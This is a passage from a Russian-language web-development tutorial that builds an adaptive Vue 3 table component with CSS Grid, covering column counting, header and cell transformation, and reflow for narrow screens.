// добавить в возвращаемый объект getTableProps = computed(() => ({})
classes: getClasses.value,
// добавить в конец файла
export { getTableProps };
```
И подключим переменную и новый компонент в App.vue
```
// ./App.vue
// добавить в
import { getTableProps } from './store-variables/table-props';
import CommonTableAdaptive from './components/CommonTableAdaptive/TableTemplate.vue';
// добавить в конец <template>
<CommonTableAdaptive v-bind="getTableProps" /></code></pre><p>Коммит “CommonTableAdaptive: props, API” Начало положено!</p><h2>Классический вид таблицы</h2><p>Отобразим таблицу в классическом представлении. Также будем ориентироваться на семантическую верстку, и поможет нам в этом CSS Grid. Концепция <code><template></code> такая:</p><pre><code class="xml"><section>
<h6>Ячейка шапки 1</h6><h6>Ячейка шапки N</h6>
<p>Ячейка 1</p><p>Ячейка 1 N</p>
<section></code></pre><p>Классические для таблицы теги <table>, <tr>, <th>, <td> я не стал использовать хотя бы по двум причинам:</p><ul><li><p>бóльшая вложенность, больше тегов</p></li><li><p>для одной задумки, о которой речь пойдет ниже, мне нужно, чтобы ячейки шапки таблицы и ячейки самой таблице находились в одном контейнере на одном уровне вложенности.</p></li></ul><h4>Оборачивающий таблицу <section></h4><p>Начнем с самого простого — <code><section></code>. Для того, чтобы ячейки в таблице отображались как нам надо, оборачивающему тегу нужно задать два свойства: <code>display: grid; grid-template-columns: repeat(N, auto);</code>, где N — количество ячеек таблицы. Поскольку этих ячеек может быть в ряду сколько угодно, и они могут динамически меняться, классов на них не напасешься, поэтому лучше свойство grid-template-columns задать инлайн-стилем. А раз уж у нас появляются инлайн-стили у этого элемента, и наш компонент - “черный ящик”, то и “display: grid;” мы включим туда же.</p><p>Итак, нам нужно общее количество колонок таблицы. Оно складывается из количества колонок props.titles и props.cells. Для расчета можно взять первые строки этих массивов. Если бы у нас каждая ячейка занимала одну колонку, достаточно было бы знать длины этих первых строк. Но, поскольку в строках таблицы может встретится ячейка вида { text: 'ячейка', cols: 3 } с любым числом в cols, то длина строки titles или cells может не соответствовать кол-ву колонок в ней. Поэтому вместо длины массива используется функция countCollsNum, складывающая колонки через .reduce() с учетом cols.</p><p>Посчитаем их:</p><pre><code class="javascript">// добавить в <script setup> в ./components/CommonTableAdaptive/TableTemplate.vue
import { computed, watch } from 'vue';
import { getColsNumber, setColsNumber } from './computed-cols-number';
setColsNumber([props.titles[0], props.cells[0]]);
watch(() => [props.titles[0], props.cells[0]], setColsNumber);
// ./components/CommonTableAdaptive/computed-cols-number.js
import { computed, ref } from 'vue';
const refColsNumber = ref(0);
const getColsNumber = computed(() => refColsNumber.value);
const countCollsNum = (row) => row.reduce((sum, { cols }) => sum + (cols || 1), 0);
const setColsNumber = ([titlesFirstRow, cellsFirstRow]) => {
refColsNumber.value = countCollsNum(cellsFirstRow) + countCollsNum(titlesFirstRow);
};
export { getColsNumber, setColsNumber };</code></pre><p>Количество колонок мы высчитали, пора задать тегу <section> стили и классы:</p><pre><code class="javascript">// добавить в <script setup> в ./components/CommonTableAdaptive/TableTemplate.vue
const getSectionSt = computed(() => `display: grid;
grid-template-columns: repeat(${getColsNumber.value}, auto);`);
const getSectionCl = computed(() => props.classes && 'outer' in props.classes
? props.classes.outer : '');
// добавить в конец файла
<template>
<section :class="getSectionCl" :style="getSectionSt">
There will be a table here.
</section>
</template></code></pre><p>Теперь, если мы запустим <code>npm run dev</code> в командной строке, и понажимаем на кнопки “Saloon / Hatchback” / “Estate”, в консоли браузера можно увидеть, как динамически изменяется свойство grid-template-columns у <section>. Значит, работает как надо :)</p><h4>Шапка таблицы</h4><p>headTitles, headCols, titles и cells в props — массивы из строк таблицы, каждая строка — массив из ячеек. Ячейка может быть либо строкой, либо числом, либо объектом. Нужна функция, преобразовывающая все ячейки в объекты. Напишем ее в отдельном модуле:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/transform-cells-to-object.js
const transformCellsToObject = (rows) => rows
.map((row) => row
.map((cell) => (typeof cell === 'object' ? { ...cell } : { text: cell })));
export { transformCellsToObject };</code></pre><p>Шапка таблицы состоит из двух частей — headTitles и headCols. Займемся первой:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-titles.js
import { transformCellsToObject } from './transform-cells-to-object';
const seekHeadTitles = (propsHeadTitles) => {
let rows;
if (propsHeadTitles) rows = transformCellsToObject(propsHeadTitles);
return rows;
};
export { seekHeadTitles };
// ./components/CommonTableAdaptive/TableTemplate.vue
// добавить в <script setup>
import { seekHeadTitles } from './seek-head-titles';
// перед закрытием </script setup>
const getHeadTitles = computed(() => seekHeadTitles(
props.headTitles,
props.headCols,
));
console.log(getHeadTitles.value);</code></pre><p>Теперь у нас каждая ячейка — объект. В классическом представлении шапка заголовков строк headTitles размещена слева, шапка остальных ячеек — справа. Но у этих частей шапки может быть разное число строк, и у нас как раз такой случай. Решим эту задачу:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/add-head-rows.js
const addRowsToHead = (arrayOfRows, differenceLengths) => {
const firstRow = arrayOfRows.shift();
arrayOfRows.unshift(firstRow.map((cell) => ({
...cell,
rows: 'rows' in cell ? cell.rows + differenceLengths: differenceLengths + 1,
})));
return arrayOfRows;
};
export { addRowsToHead };</code></pre><p>Функция addRowsToHead() принимает массив из строк и разницу длин строк, и преобразует ячейки первой строки массива — там появляется ключ rows, если его не было, иначе значение этого ключа увеличивается на разницу строк headTitles и headCols.</p><p>Добавим новую функцию в seekHeadTitles:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-titles.js
import { addRowsToHead } from './add-head-rows';
import { transformCellsToObject } from './transform-cells-to-object';
const seekHeadTitles = (propsHeadTitles, propsHeadCols) => {
let rows;
if (propsHeadTitles) rows = transformCellsToObject(propsHeadTitles);
if (rows && propsHeadCols && propsHeadCols.length > propsHeadTitles.length) {
rows = addRowsToHead(rows, propsHeadCols.length - propsHeadTitles.length);
}
return rows;
};
export { seekHeadTitles };</code></pre><p>В консоли браузера при запущенном dev-режиме мы видим, что у всех ячеек-объектов появилось <code>rows: 2</code>. Отлично, думаем дальше.</p><p>Теперь нам нужно массив из строк, которые массивы из ячеек, преобразовать в массив из ячеек. Но при этом нужно дать ячейкам знания, являются ли они первыми/последними в ряду и колонке. Кроме того, ячейке нужно передать тип блока, к которому она относится, чтобы впоследствии подключить соответствующие классы. И эта функция также пригодится для шапки колонок таблицы. Напишем ее:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/transform-rows-to-cells.js
const transformRowsToCells = (rows, params = {}) => {
const { cellType, colFirst, colLast, rowFirst } = params;
const cells = [];
rows.forEach((row, iRow) => {
row.forEach((cellExt, iCol) => {
const cell = { ...cellExt, cellType };
if (iRow === 0 && rowFirst) cell.rowFirst = true;
if (iCol === 0 && colFirst) cell.colFirst = true;
if (iCol === row.length - 1 && colLast) cell.colLast = true;
cells.push(cell);
});
});
return cells;
};
export { transformRowsToCells };</code></pre><p>Функция принимает массив из строк (которые массив из ячеек), и объект, в котором передается тип блока, а также перечислено, нужно ли отмечать первые/последние ячейки в рядах/колонках, и тип блока таблицы (кроме rowLast — последней ячейки в колонке таблицы, потому что шапка таблицы никогда будет последним рядом). Каждая ячейка преобразуется в соответствии с этими параметрами, и на выходе мы получаем массив из этих ячеек.</p><p>Подключим написанные функции в seekHeadTitles:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-titles.js
import { addRowsToHead } from './add-head-rows';
import { transformCellsToObject } from './transform-cells-to-object';
import { transformRowsToCells } from './transform-rows-to-cells';
const seekHeadTitles = (propsHeadTitles, propsHeadCols) => {
let rows;
if (propsHeadTitles) rows = transformCellsToObject(propsHeadTitles);
if (
rows &&
propsHeadCols &&
propsHeadCols.length > propsHeadTitles.length
) {
rows = addRowsToHead(rows, propsHeadCols.length - propsHeadTitles.length);
}
let cells = [];
if (rows) {
cells = transformRowsToCells(rows, {
cellType: 'head',
colFirst: true,
rowFirst: true,
});
}
return cells;
};
export { seekHeadTitles };</code></pre><p>В консоли браузера при запущенном dev-режиме мы видим, что у всех ячеек-объектов появилось <code>rows: 2, cellType: 'head'</code> и у каких надо ячеек — <code>colFirst: true, rowFirst: true</code>.</p><p>Примерно все то же самое делаем для блока headCols — шапки ячеек таблицы:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-cols.js
import { addRowsToHead } from './add-head-rows';
import { transformCellsToObject } from './transform-cells-to-object';
import { transformRowsToCells } from './transform-rows-to-cells';
const seekHeadCols = (propsHeadCols, propsHeadTitles) => {
let rows;
if (propsHeadCols) rows = transformCellsToObject(propsHeadCols);
if (rows && propsHeadTitles && propsHeadTitles.length > propsHeadCols.length) {
rows = addRowsToHead(rows, propsHeadTitles.length - propsHeadCols.length);
}
let cells = [];
if (rows) {
cells = transformRowsToCells(rows, {
cellType: 'head',
colLast: true,
rowFirst: true,
});
}
return cells;
};
export { seekHeadCols };</code></pre><p>Теперь нам нужно преобразовать полученные ячейки-объекты в то, что можно будет передать в <template>. Напишем еще одну функцию transformRowsToTemplate:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/transform-rows-to-template.js
const bringArray = (arrayOrStr) =>
Array.isArray(arrayOrStr) ? arrayOrStr : [arrayOrStr];
const transformCellToTemplate = (cell, classes) => {
const { text, cols, rows, cellType, clAdd } = cell;
let st = cell.st || '';
if (cols) st += `grid-column-end: span ${cols};`;
if (rows) st += `grid-row-end: span ${rows};`;
const cl = [];
if ('eachCell' in classes) cl.push(...bringArray(classes.eachCell));
if (cellType in classes) {
if ('each' in classes[cellType]) {
cl.push(...bringArray(classes[cellType].each));
}
['colFirst', 'colLast', 'rowFirst', 'rowLast'].forEach((typ) => {
if (typ in cell && cell[typ] && typ in classes[cellType]) {
cl.push(...bringArray(classes[cellType][typ]));
}
});
}
if (clAdd) cl.push(...bringArray(clAdd));
return { text, st, cl };
};
const transformRowsToTemplate = (cells, classes) =>
cells.map((cell) => transformCellToTemplate(cell, classes));
export { transformRowsToTemplate };</code></pre><p>Экспортируемая функция transformRowsToTemplate принимает массив из ячеек таблицы и классов из props компонента. Каждая ячейка массива преобразуется функцией transformCellToTemplate.</p><p>Функция transformCellToTemplate выдает то, что нужно для <template> компонента:</p><ul><li><p>text — содержание ячейки </p></li><li><p>cl — массив css-классов, сформированный в зависимости от того, есть ли классы в самой ячейке, плюс добавляет соотвествующие классы из props.classes (с учетом типа блока таблицы и того, является ли ячейка первой/последней в ряду/колонке)</p></li><li><p>st — строка инлайн-стилей. Если есть ключ со значением rows, то к стилям добавляется <code>grid-row-end: span ${rows};</code> (ячейка растягивается по вертикали), если cols — <code>grid-column-end: span ${cols};</code> (растягивается по горизонтали).</p></li></ul><p>Соединим все написанное в TableTemplate.vue:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/TableTemplate.vue
// добавить в <script setup>
import { seekHeadCols } from './seek-head-cols';
import { transformRowsToTemplate } from './transform-rows-to-template';
// удалить console.log(), добавить после функции getHeadTitles
const getHeadcols = computed(() => seekHeadCols(props.headCols, props.headTitles));
const getTableHead = computed(() => transformRowsToTemplate(
[...getHeadTitles.value, ...getHeadcols.value],
props.classes
));
// изменить <template>
<template>
<section :class="getSectionCl" :style="getSectionSt">
<h6 v-for="({ text, cl, st }, i) in getTableHead" :key="`cell-head-${i}`"
:class="cl" :style="st" v-html="text"></h6>
</section>
</template></code></pre><p>И смотрим, что получилось:</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload\_files/1e7/a31/df7/1e7a31df744d82e6cbbc8c32b961f172.gif" alt="Заголовок таблицы в классическом виде отображается так, как нужно. Кроме того, он интерактивен — количество столбцов меняется в зависимости от типа кузова" title="Заголовок таблицы в классическом виде отображается так, как нужно. Кроме того, он интерактивен — количество столбцов меняется в зависимости от типа кузова" width="1938" height="201" data-src="https://habrastorage.org/getpro/habr/upload\_files/1e7/a31/df7/1e7a31df744d82e6cbbc8c32b961f172.gif"/><figcaption>Заголовок таблицы в классическом виде отображается так, как нужно. Кроме того, он интерактивен — количество столбцов меняется в зависимости от типа кузова</figcaption></figure><p>Все изменения — в коммите “Classic table: head”</p><h4>Классическая таблица целиком</h4><p>Займемся остальными ячейками таблицы. Создадим новый файл для этого:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
import { transformCellsToObject } from './transform-cells-to-object';
const addTitleCells = (propsTitles, iRow) => {
const cells = [];
propsTitles[iRow].forEach((cell, iCol) => {
cells.push({
...cell,
colFirst: iCol === 0,
rowLast: iRow === propsTitles.length - 1,
cellType: 'titles',
});
});
return cells;
};
const addOtherCells = (row, iRow, rowsLength) => {
const cells = [];
row.forEach((cell, iCell) => {
cells.push({
...cell,
colLast: iCell === row.length - 1,
rowLast: iRow === rowsLength - 1,
cellType: 'cells',
});
});
return cells;
};
const seekTableCells = (propsTitlesExt, propsCellsExt) => {
const propsTitles = transformCellsToObject(propsTitlesExt);
const propsCells = transformCellsToObject(propsCellsExt);
const cells = [];
propsCells.forEach((row, iRow) => {
cells.push(...addTitleCells(propsTitles, iRow));
cells.push(...addOtherCells(row, iRow, propsCells.length));
});
return cells;
};
export { seekTableCells };</code></pre><p>В экспортируемой функции seekTableCells мы трансформируем ячейки в массивах props.titles и props.cells в объекты, после этого разбираем props.cells по строкам таблицы, сначала по номеру строки таблицы добавляем в массив ячейки из соответствующего ряда props.titles, и затем - из ряда props.cells. К тем ячейкам, где это необходимо, добавляем ключи colFirst, colLast и rowLast (rowFirst быть не может, потому что выше — шапка таблицы).</p><p>Импортируем написанное в TableTemplate.vue:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/TableTemplate.vue:
// добавить в <script setup>
import { seekTableCells } from './seek-table-cells';
const getTableCells = computed(() => transformRowsToTemplate(
seekTableCells(props.titles, props.cells),
props.classes,
));
// добавить в <template> перед закрывающим </section>
<p v-for="({ text, st, cl }, i) in getTableCells" :key="`cell-${i}`"
:class="cl" :style="st" v-html="text"></p></code></pre><p>Смотрим, что получилось… Упс, у нас неправильно отображаются последние ячейки в колонке (↓). А если мы проверим первые ячейки в ряду (←), то там тоже будет ошибка. Все дело в том, что мы определяем их по индексу ячейки в массиве строки и индексу строки в массиве блока. То есть у массива rows с длиной length = 2</p><pre><code class="javascript">rows = [
[1, 2], // row
[3, 4], // row
] </code></pre><p>colFirst = true у элементов 1 и 3 (их индекс в массивах row === 0, и rowLast у элементов 3 и 4 (индекс строки, в которой они состоят, равен rows.length - 1). Но в нашем случае может быть так:</p><pre><code class="javascript">rows = [
[{ text: 1, rows: 2 }, 2], // row
[4], // row
]</code></pre><p>Здесь первая ячейка в первом массиве row занимает два места, “растягивается” на следующую строку. И у нее должно быть <code>rowLast = true</code>, и описанная логика не срабатывает. И следующая ошибка — у элемента 4, у которого colFirst = false, хоть он и первый в своем ряду.</p><p>Напишем правильную функцию для определения, является ли ячейка первой в нашей таблице. Вынесем ее в отдельный файл, потому что эта же ошибка актуальна для шапки таблицы, хоть она там и не проявилась:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/check-col-first.js
let prevColFirst = 0;
const checkColFirst = ({ rows }, iCol) => {
let colFirst;
if (iCol === 0) {
if (prevColFirst === 0) {
colFirst = true;
if (rows) prevColFirst = rows - 1;
} else prevColFirst -= 1;
}
return colFirst;
};
export { checkColFirst };</code></pre><p>Сначала (вне функции) заводим счетчик <code>prevColFirst = 0</code>. Сама функция checkColFirst принимает два аргумета — ячейку-объект (нас интересует только ее ключ rows, поэтому вместо <code>cell</code> мы пишем <code>{ rows }</code>, и индекс этой ячейки в строке ряду. Если <code>iCol === 0</code> (первая ячейка в строке) — смотрим на счетчик prevColFirst. Если он равен нулю, значит исследуемая ячейка — первая в ряду. Если у нее есть ключ rows, значит ячейка “растягивается” вниз, и мы устанавливаем <code>prevColFirst = rows - 1</code> — триггер для следующих первых ячеек. Если <code>prevColFirst !== 0</code>, значит ячейка первой в ряду не является, даже если она первая в массиве. В таком случае уменьшаем prevColFirst на единицу.</p><p>Подключаем написанную функцию:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
// добавить
import { checkColFirst } from './check-col-first';
// заменить строку 'colFirst: iCol === 0' внутри функции addTitleCells
colFirst: checkColFirst(cell, iCol),
// ./components/CommonTableAdaptive/transform-rows-to-cells.js
// добавить
import { checkColFirst } from './check-col-first';
// заменить строку 'if (iCol === 0 && colFirst) cell.colFirst = true;'
// внутри функции transformRowsToCells
if (colFirst) cell.colFirst = checkColFirst(cell, iCol);</code></pre><p>Теперь разберемся с rowLast. Этот ключ нам нужен только для seekTableCells, так что мы можем записать функцию в seek-table-cells.js:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
const checkRowLast = ({ rows }, iRow, rowsLength) =>
iRow + (rows || 1) === rowsLength;
// заменить строку 'rowLast: iRow === propsTitles.length - 1,' внутри addTitleCells
rowLast: checkRowLast(cell, iRow, propsTitles.length),
// заменить строку 'rowLast: iRow === rowsLength - 1,' внутри addOtherCells
rowLast: checkRowLast(cell, iRow, rowsLength),</code></pre><p>Функция checkRowLast принимает аргументы: cell (нас интересует rows), iRow - индекс строки таблицы и rowsLength - кол-во строк в таблице. Последняя ячейка в колонке - если <code>iRow === rowsLength - 1</code> или если <code>iRows + rows === rowsLength</code></p><p>Проверяем — все замечательно:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/a04/975/bb3/a04975bb375ffabaa4e8c87b86ddff37.png" alt="Интерактивная таблица в классическом виде отображается так, как и было задумано. Причем с ячейками, объединенными как в рядах (по горизонтали), так и в колонках (по вертикали)" title="Интерактивная таблица в классическом виде отображается так, как и было задумано. Причем с ячейками, объединенными как в рядах (по горизонтали), так и в колонках (по вертикали)" width="1938" height="389" data-src="https://habrastorage.org/getpro/habr/upload\_files/a04/975/bb3/a04975bb375ffabaa4e8c87b86ddff37.png"/><figcaption>Интерактивная таблица в классическом виде отображается так, как и было задумано. Причем с ячейками, объединенными как в рядах (по горизонтали), так и в колонках (по вертикали)</figcaption></figure><p>Коммит “Classic table: all cells”</p><h2>Делаем таблицу адаптивной</h2><p>Приступим к адаптации таблицы для небольших экранов (неважно каких устройств, мобильных или нет).</p><h4>Отслеживание необходимости адаптации</h4><p>Заведем вычисляемую переменную и будем ее вовремя обновлять, и вовремя на нее реагировать:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-table-wide.js
import { computed, ref } from 'vue';
const refTableWide = ref(true);
const isTableWide = computed(() => refTableWide.value);
const switchTableWide = () => {
refTableWide.value = !refTableWide.value;
};
export { isTableWide, switchTableWide };
// ./components/CommonTableAdaptive/watch-table-width.js
import { isTableWide, switchTableWide } from './computed-table-wide';
let clientWidthOld;
const watchTableWidthWithArg = (domSection) => {
const { clientWidth } = document.documentElement;
if (clientWidth !== clientWidthOld) {
clientWidthOld = clientWidth
if (!isTableWide.value) switchTableWide();
setTimeout(() => {
if (domSection && domSection.offsetWidth > clientWidth) {
switchTableWide();
}
}, 0);
}
};
export { watchTableWidthWithArg };
// в <script setup> ./components/CommonTableAdaptive/TableTemplate.vue
// добавить onMounted, ref в строку 'import { computed, watch } from 'vue';'
import { computed, onMounted, ref, watch } from 'vue';
// добавить
import { isTableWide } from './computed-table-wide';
import { watchTableWidthWithArg } from './watch-table-width';
// изменить watch и setColsNumber, было:
setColsNumber([props.titles[0], props.cells[0]]);
watch(() => [props.titles[0], props.cells[0]], setColsNumber);
// стало
setColsNumber([props.titles[0], props.cells[0], isTableWide.value]);
watch(() => [props.titles[0], props.cells[0], isTableWide.value], setColsNumber);
// добавить
const domSection = ref(null);
const watchTableWidth = () => {
watchTableWidthWithArg(domSection.value);
};
onMounted(watchTableWidth);
window.addEventListener('resize', watchTableWidth);
// добавить ref="domSection" в <template> к тегу <section>
<section :class="getSectionCl" :style="getSectionSt" ref="domSection"></code></pre><p>Вычисляемая переменная isTableWide показывает нам, надо ли показывать таблицу в классическом (широком) виде, или ее нужно адаптировать.</p><p>Функция watchTableWidthWithArg реагирует на изменение окна браузера. Если новая ширина браузера не равна старой clientWidthOld, происходит сброс таблицы к классическому виду (refTableWide.value = true), и с нулевой задержкой setTimeout (она нужна, чтобы у dom-элемента успели появится новые данные, в т.ч. интересующая нас ширина) мы сравниваем, выходит ли таблица за границу экрана (ширина таблицы > ширины окна браузера). Если выходит — refTableWide.value = false. Запускаем эту функцию по vue-событию onMounted и по событию ‘resize’ у window.</p><p>Важно также добавить отслеживание isTableWide на вотчер watch, по которому запускается расчет колонок таблицы setColsNumber.</p><p>Теперь мы знаем, когда нужно показывать широкую таблицу, а когда - узкую. С сеттера расчета колонок и начнем адаптацию таблицы:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/computed-cols-number.js
// изменить функцию setColsNumber
const setColsNumber = ([titlesFirstRow, cellsFirstRow, isTableWide]) => {
refColsNumber.value = countCollsNum(cellsFirstRow);
if (isTableWide) refColsNumber.value += countCollsNum(titlesFirstRow);
};</code></pre><p>Если таблица широкая, кол-во колонок в ней складывается из колонок props.titles и props.cells, если узкая — считаются только колонки в props.cells</p><h4>Шапка таблицы</h4><p>Изменим шапку таблицы. Начнем с шапки заголовков строк:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-titles.js
import { addRowsToHead } from './add-head-rows';
import { getColsNumber } from './computed-cols-number';
import { isTableWide } from './computed-table-wide';
import { transformCellsToObject } from './transform-cells-to-object';
import { transformRowsToCells } from './transform-rows-to-cells';
const seekHeadTitles = (propsHeadTitles, propsHeadCols) => {
let rows;
if (propsHeadTitles) rows = transformCellsToObject(propsHeadTitles);
if (
rows &&
isTableWide.value &&
propsHeadCols &&
propsHeadCols.length > propsHeadTitles.length
) {
rows = addRowsToHead(rows, propsHeadCols.length - propsHeadTitles.length);
} else if (rows && !isTableWide.value) {
rows = rows.map((row) => [
{
text: row.map(({ text }) => text).join(', '),
cols: getColsNumber.value,
},
]);
}
let cells = [];
if (rows) {
cells = transformRowsToCells(rows, {
cellType: 'head',
colFirst: true,
colLast: !isTableWide.value,
rowFirst: true,
});
}
return cells;
};
export { seekHeadTitles };</code></pre><p>В файл мы импортировали две переменных, isTableWide и getColsNumber. В условие, по которому выполняется функция addRowsToHead, мы добавили <code>&& isTableWide.value</code> — т.е. это происходит только если таблица широкая. В противном случае (<code>rows && !isTableWide.value</code>) мы трансформируем каждую строку, состоящую из ячеек: складываем там все ячейки в одну, перечисляя текст через запятую, и этой одной ячейке присваиваем cols, равное общему количеству ячеек таблицы (растягиваем получившуюся одну ячейку на всю ширину таблицы). Ну и добавляем ключ colLast к аргументу функции transformRowsToCells со значением <code>!isTableWide.value</code>. Т.е. если таблица узкая, то последняя в строке ячейка становится последней ячейкой таблицы по горизонтали.</p><p>Шапка ячеек таблицы меняется не сильно:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-head-cols.js
// добавить
import { isTableWide } from './computed-table-wide';
// изменить условие if () в функции seekHeadCols
// было:
if (
rows &&
propsHeadTitles &&
propsHeadTitles.length > propsHeadCols.length
)
// стало:
if (
rows &&
isTableWide.value &&
propsHeadTitles &&
propsHeadTitles.length > propsHeadCols.length
)
// в объекте (2-й аршумент функции argument transformRowsToCells)
// добавить
colFirst: !isTableWide.value,
// изменить
rowFirst: isTableWide.value || !propsHeadTitles.length,</code></pre><p>Когда таблица широкая, headCols размещается сверху слева в таблице. Для ее ячеек важны rowFirst и colLast. При узкой таблице headCols вверху, только если нет headTitles (поэтому <code>rowFirst: isTableWide.value || !propsHeadTitles.length</code>), и шапка ячеек занимает всю ширину таблицы (поэтому <code>colFirst: !isTableWide.value</code>).</p><h4>Ячейки таблицы</h4><p>В классическом представлении ряд (строка) таблицы формируется так: в левой части (сначала) идут ячейки ряда props.titles, в правой части (затем) — ячейки props.cells. Когда таблица узкая, ячейки ряда props.titles складываются в одну и занимает всю ширину таблицы, а ячейки props.cells размещаются под ней:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/2ab/a10/8cd/2aba108cdf969bc7859d020e58b5259b.png" alt="Ячейки таблицы состоят из двух блоков — titles (серый фон) и cells (белый фон). Изображение показывает, как ячейки одной строки таблицы меняются при ее адаптации" title="Ячейки таблицы состоят из двух блоков — titles (серый фон) и cells (белый фон). Изображение показывает, как ячейки одной строки таблицы меняются при ее адаптации" width="1794" height="185" data-src="https://habrastorage.org/getpro/habr/upload\_files/2ab/a10/8cd/2aba108cdf969bc7859d020e58b5259b.png"/><figcaption>Ячейки таблицы состоят из двух блоков — titles (серый фон) и cells (белый фон). Изображение показывает, как ячейки одной строки таблицы меняются при ее адаптации</figcaption></figure><p>Ячейка таблицы может объединяться со следующими ячейками в колонке, если у нее есть ключ rows. При адаптации (!isTableWide) нам такое объединение ячеек не нужно из-за поведения titles. Напишем функцию, которая исключит rows из ячеек, а если этот ключ есть — продублирует ячейки в колонке.</p><pre><code class="javascript">// добавить в ./components/CommonTableAdaptive/seek-table-cells.js
const transformCellsWithoutRows = (rowsExt) => {
const rows = [];
rowsExt.forEach((row, iRow) => {
if (!rows[iRow]) rows[iRow] = [];
row.forEach((cellExt) => {
const cell = { ...cellExt };
let iCol = rows[iRow].findIndex((el) => !el);
if (iCol < 0) iCol = rows[iRow].length;
rows[iRow][iCol] = cell;
if ('rows' in cell) {
const rowsCell = cell.rows;
delete cell.rows;
for (let i = iRow + 1; i < iRow + rowsCell; i += 1) {
if (!rows[i]) rows[i] = [];
rows[i][iCol] = cell;
}
}
});
});
return rows;
};</code></pre><p>В этой функции мы объявляем новый массив из строк <code>rows=[]</code>. Старый массив обходим построчно. Если у нового rows не заведен элемент с массивом строки с индексом iRow — заводим его (<code>if (!rows[iRow]) rows[iRow] = [];</code>). Дальше массив строки row, состоящий из ячеек cell. Если у ячейки-объекиа есть rows, значит она объединяется с ячейками ниже в колонке. Чтобы это убрать, мы продублируем эту ячейку в колонках нового массива rows в цикле for. Поэтому индекс ячейки в строке row не всегда будет совпадать с реальным индексом ячейки (также см. выше, причины написания функции checkColFirst). И этот индекс в строке мы определяем так: смотрим, есть ли в строке с индексом iRow нового массива rows пустой (undefined) элемент. Если да, то iCol (индекс ячейки в строке) будет индексом пустого элемента, если нет — iCol будет равен длине массива.</p><p>Изменим функции в seek-table-cells.js:</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
// добавить
import { isTableWide } from './computed-table-wide';
// изменить функцию seekTableCells
const seekTableCells = (propsTitlesExt, propsCellsExt) => {
let propsTitles = transformCellsToObject(propsTitlesExt);
let propsCells = transformCellsToObject(propsCellsExt);
if (!isTableWide.value) {
propsTitles = transformCellsWithoutRows(propsTitles);
propsCells = transformCellsWithoutRows(propsCells);
}
const cells = [];
propsCells.forEach((row, iRow) => {
cells.push(...addTitleCells(propsTitles, iRow));
cells.push(...addOtherCells(row, iRow, propsCells.length));
});
return cells;
};</code></pre><p> Если таблица узкая — запускаем transformCellsWithoutRows, чтобы убрать rows в ячейках-объектах и продублировать их столько раз, сколько нужно.</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
// добавить
import { getColsNumber } from './computed-cols-number';
// изменить функцию addTitleCells
const addTitleCells = (propsTitles, iRow) => {
const cells = [];
if (isTableWide.value) {
propsTitles[iRow].forEach((cell, iCol) => {
cells.push({
...cell,
colFirst: checkColFirst(cell, iCol),
rowLast: checkRowLast(cell, iRow, propsTitles.length),
cellType: 'titles',
});
});
} else {
cells.push({
text: propsTitles[iRow].map(({ text }) => text).join(', '),
cols: getColsNumber.value,
colFirst: true,
colLast: true,
cellType: 'titles',
});
}
return cells;
};</code></pre><p>Если таблица узкая — объединяем ячейки в ряду propsTitles[iRow] в одну, задаем им <code>cols = getColsNumber.value</code> — растягиваем ячейку на всю ширину, поэтому эта ячейка будет одновременно первой и последней в своей строке (<code>colFirst: true, colLast: true</code>).</p><pre><code class="javascript">// ./components/CommonTableAdaptive/seek-table-cells.js
// добавить в функцию addOtherCells в объект cells.push({})
colFirst: !isTableWide.value && iCell === 0,</code></pre><p>У блока cells, если таблица узкая, ячейка — первая в ряду таблицы, если она первая в своей строке.</p><p>Смотрим, что получилось:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/0bb/f2a/282/0bbf2a2823477971c0586b9cd00380d3.png" width="1794" height="883" data-src="https://habrastorage.org/getpro/habr/upload\_files/0bb/f2a/282/0bbf2a2823477971c0586b9cd00380d3.png"/><figcaption></figcaption></figure><p>Всё работает так, как и задумано, таблица адаптируется под маленькие экраны. Таблица интерактивна — данные меняются в зависимости от выбора пользователя. Мало того, на любых экранах таблица компактна — занимает минимум места, что нисколько не мешает восприятию информации, а самое главное — сохраняется главное достоинство таблицы — отображенные в ней данные легко сравнивать друг с другом!</p><p>Коммит “Adaptive table”</p><p>На этом статью можно было бы и завершить. Но что если колонок в таблице намного больше? Это не очень хорошо для восприятия, и скорее всего данные в такой большой таблице можно сократить, но все-таки?</p><h2>Если много колонок</h2><p>В случае, если колонок много в левой части классической таблице — titles, проблем не возникает: в компактном представлении все эти колонки “схлопываются” в одну, которая становится “подшапкой” строки cells с ячейками, где представлены данные для сравнения.</p><p>Но что, если этих ячеек настолько много, что они не умещаются в одну строку на маленьком экране? Сделаем адаптацию для бесконечного количества столбцов в cells. Концепция такая: если в строке cells ячейки не помещаются в экран браузера, то одна строка трансформируется в несколько, как на рисунке:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload\_files/70c/df4/714/70cdf47140ef779453b0572a9f87fff2.png" width="1794" height="223" data-src="https://habrastorage.org/getpro/habr/upload\_files/70c/df4/714/70cdf47140ef779453b0572a9f87fff2.png"/><figcaption></figcaption></figure><p>Здесь есть две сложности, которые нужно учесть:</p><ol><li><p>Если в строке есть ячейка, объединяющая несколько колонок, и 